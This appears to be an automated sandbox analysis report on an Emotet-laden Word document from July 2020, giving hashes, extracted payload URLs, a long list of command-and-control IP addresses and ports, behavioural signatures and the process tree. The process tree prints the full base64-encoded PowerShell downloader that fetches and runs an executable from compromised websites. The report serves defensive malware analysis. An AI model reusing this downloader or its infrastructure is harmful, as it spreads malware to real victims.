Analysis
-
max time kernel
143s -
max time network
139s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
29-07-2020 00:10
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_feea2193fa8429572e0d346487c4e58bffd2c6cfc320d05054411a8df5c3e0d3_2020-07-29__000932._doc.doc
Resource
win7
General
-
Target
emotet_e2_feea2193fa8429572e0d346487c4e58bffd2c6cfc320d05054411a8df5c3e0d3_2020-07-29__000932._doc.doc
-
Size
175KB
-
MD5
8eab9cbc34bbb785f5ec8b0cd0ba61ba
-
SHA1
09b7f4c5e7aa3b29b2c67a6dc60ef2eb3534cc2d
-
SHA256
feea2193fa8429572e0d346487c4e58bffd2c6cfc320d05054411a8df5c3e0d3
-
SHA512
148ec8ae93cb345ac8bb9dcc9af9eebf618dabbeb523ea3b59af2736bc3742156c7887fd6608d5ddb73e71cb4e4b06d968c3357a5f4a5294409cff6da7c10ec9
Malware Config
Extracted
http://fishbitedesign.com/delete_me/aq_no3_pixel079b/
http://floridoweddings.com/wp-admin/1_fb_3rv7z6mr/
http://floydswoodshop.com/floydswo/nn_g5_0s/
http://fmcav.com/images/tihvt_5d_3znqq/
http://goharm.com/wp-content/plugins/classic-editor/7b_k5_bo4lrnbmo6/
Extracted
emotet
76.27.179.47:80
212.51.142.238:8080
189.212.199.126:443
61.19.246.238:443
162.154.38.103:80
91.211.88.52:7080
83.110.223.58:443
124.45.106.173:443
116.203.32.252:8080
109.117.53.230:443
5.196.74.210:8080
75.139.38.211:80
168.235.67.138:7080
176.111.60.55:8080
169.239.182.217:8080
74.208.45.104:8080
31.31.77.83:443
222.214.218.37:4143
37.139.21.175:8080
91.205.215.66:443
93.156.165.186:80
78.24.219.147:8080
87.106.136.232:8080
87.106.139.101:8080
81.2.235.111:8080
62.75.141.82:80
181.230.116.163:80
95.9.185.228:443
173.91.22.41:80
153.126.210.205:7080
113.160.130.116:8443
190.55.181.54:443
137.59.187.107:8080
209.182.216.177:443
91.231.166.124:8080
95.179.229.244:8080
201.173.217.124:443
5.39.91.110:7080
109.74.5.95:8080
104.131.11.150:443
104.236.246.93:8080
209.141.54.221:8080
95.213.236.64:8080
210.165.156.91:80
46.105.131.79:8080
24.43.99.75:80
203.153.216.189:7080
180.92.239.110:8080
62.138.26.28:8080
104.131.44.150:8080
139.130.242.43:80
79.98.24.39:8080
41.60.200.34:80
93.51.50.171:8080
47.153.182.47:80
185.94.252.104:443
71.208.216.10:80
200.41.121.90:80
70.167.215.250:8080
121.124.124.40:7080
157.245.99.39:8080
139.59.60.244:8080
103.86.49.11:8080
50.116.86.205:8080
46.105.131.87:80
162.241.92.219:8080
152.168.248.128:443
200.55.243.138:8080
190.160.53.126:80
24.234.133.205:80
37.187.72.193:8080
108.48.41.69:80
110.145.77.103:80
Signatures
-
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
WINWORD.EXE227.execatsrv.exepid process 60 WINWORD.EXE 60 WINWORD.EXE 60 WINWORD.EXE 60 WINWORD.EXE 60 WINWORD.EXE 60 WINWORD.EXE 60 WINWORD.EXE 60 WINWORD.EXE 60 WINWORD.EXE 3744 227.exe 3744 227.exe 2352 catsrv.exe 2352 catsrv.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powersheLL.execatsrv.exepid process 3600 powersheLL.exe 3600 powersheLL.exe 3600 powersheLL.exe 2352 catsrv.exe 2352 catsrv.exe 2352 catsrv.exe 2352 catsrv.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 25 3600 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
227.execatsrv.exepid process 3744 227.exe 2352 catsrv.exe -
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/3744-9-0x0000000002290000-0x000000000229C000-memory.dmp emotet behavioral2/memory/2352-12-0x0000000002130000-0x000000000213C000-memory.dmp emotet -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 60 WINWORD.EXE 60 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3600 488 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 3600 powersheLL.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
227.exedescription pid process target process PID 3744 wrote to memory of 2352 3744 227.exe catsrv.exe PID 3744 wrote to memory of 2352 3744 227.exe catsrv.exe PID 3744 wrote to memory of 2352 3744 227.exe catsrv.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Drops file in System32 directory 1 IoCs
Processes:
227.exedescription ioc process File opened for modification C:\Windows\SysWOW64\MSAudDecMFT\catsrv.exe 227.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_feea2193fa8429572e0d346487c4e58bffd2c6cfc320d05054411a8df5c3e0d3_2020-07-29__000932._doc.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:60
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABBAE4ATABWAE4AaQBmAHoAPQAnAEoAQgBXAE4AUQBpAGUAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAYABpAGAAVABZAFAAUgBPAHQAbwBjAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEcATQBCAFcASQBtAGsAawAgAD0AIAAnADIAMgA3ACcAOwAkAFYAWABZAEUARgB3AHcAcQA9ACcASQBUAEUASwBVAHUAdgBsACcAOwAkAE0AUwBSAEsASgB1AGQAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARwBNAEIAVwBJAG0AawBrACsAJwAuAGUAeABlACcAOwAkAFEARgBKAEUASwBoAHQAdAA9ACcAVABXAFMAUwBFAGcAbABwACcAOwAkAFcAQgBWAE0ASABqAHAAeQA9AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAYgBjAGwAaQBlAG4AdAA7ACQARgBHAFQASABBAGEAZABkAD0AJwBoAHQAdABwADoALwAvAGYAaQBzAGgAYgBpAHQAZQBkAGUAcwBpAGcAbgAuAGMAbwBtAC8AZABlAGwAZQB0AGUAXwBtAGUALwBhAHEAXwBuAG8AMwBfAHAAaQB4AGUAbAAwADcAOQBiAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHIAaQBkAG8AdwBlAGQAZABpAG4AZwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAxAF8AZgBiAF8AMwByAHYANwB6ADYAbQByAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHkAZABzAHcAbwBvAGQAcwBoAG8AcAAuAGMAbwBtAC8AZgBsAG8AeQBkAHMAdwBvAC8AbgBuAF8AZwA1AF8AMABzAC8AKgBoAHQAdABwADoALwAvAGYAbQBjAGEAdgAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwB0AGkAaAB2AHQAXwA1AGQAXwAzAHoAbgBxAHEALwAqAGgAdAB0AHAAOgAvAC8AZwBvAGgAYQByAG0ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AYwBsAGEAcwBzAGkAYwAtAGUAZABpAHQAbwByAC8ANwBiAF8AawA1AF8AYgBvADQAbAByAG4AYgBtAG8ANgAvACcALgAiAFMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwBJAEcAWgBSAHIAcwBxAD0AJwBGAFIAQgBUAFUAeABrAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAQgBRAFUARgBpAHcAeQAgAGkAbgAgACQARgBHAFQASABBAGEAZABkACkAewB0AHIAeQB7ACQAVwBCAFYATQBIAGoAcAB5AC4AIgBkAE8AVwBOAEwAbwBhAGAAZABGAGAAaQBgAGwAZQAiACgAJABGAEIAUQBVAEYAaQB3AHkALAAgACQATQBTAFIASwBKAHUAZAB2ACkAOwAkAFAAUQBOAFIASwBtAG8AZAA9ACcAVQBQAE8AWABaAGYAZQB0ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBTAFIASwBKAHUAZAB2ACkALgAiAGwARQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAyADEAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAFIAYABlAGEAdABlACIAKAAkAE0AUwBSAEsASgB1AGQAdgApADsAJABRAE4AUwBMAFQAbgBvAGMAPQAnAEEAQwBWAEkAUwBnAHYAeQAnADsAYgByAGUAYQBrADsAJABMAFkAVQBMAE8AeAB5AGEAPQAnAEgAUwBXAE8AQQB1AHgAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEYAVQBEAFYAagBoAGQAPQAnAFkASABXAFIARABnAGIAaQAnAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:3600
-
C:\Users\Admin\227.exeC:\Users\Admin\227.exe1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:3744 -
C:\Windows\SysWOW64\MSAudDecMFT\catsrv.exe"C:\Windows\SysWOW64\MSAudDecMFT\catsrv.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:2352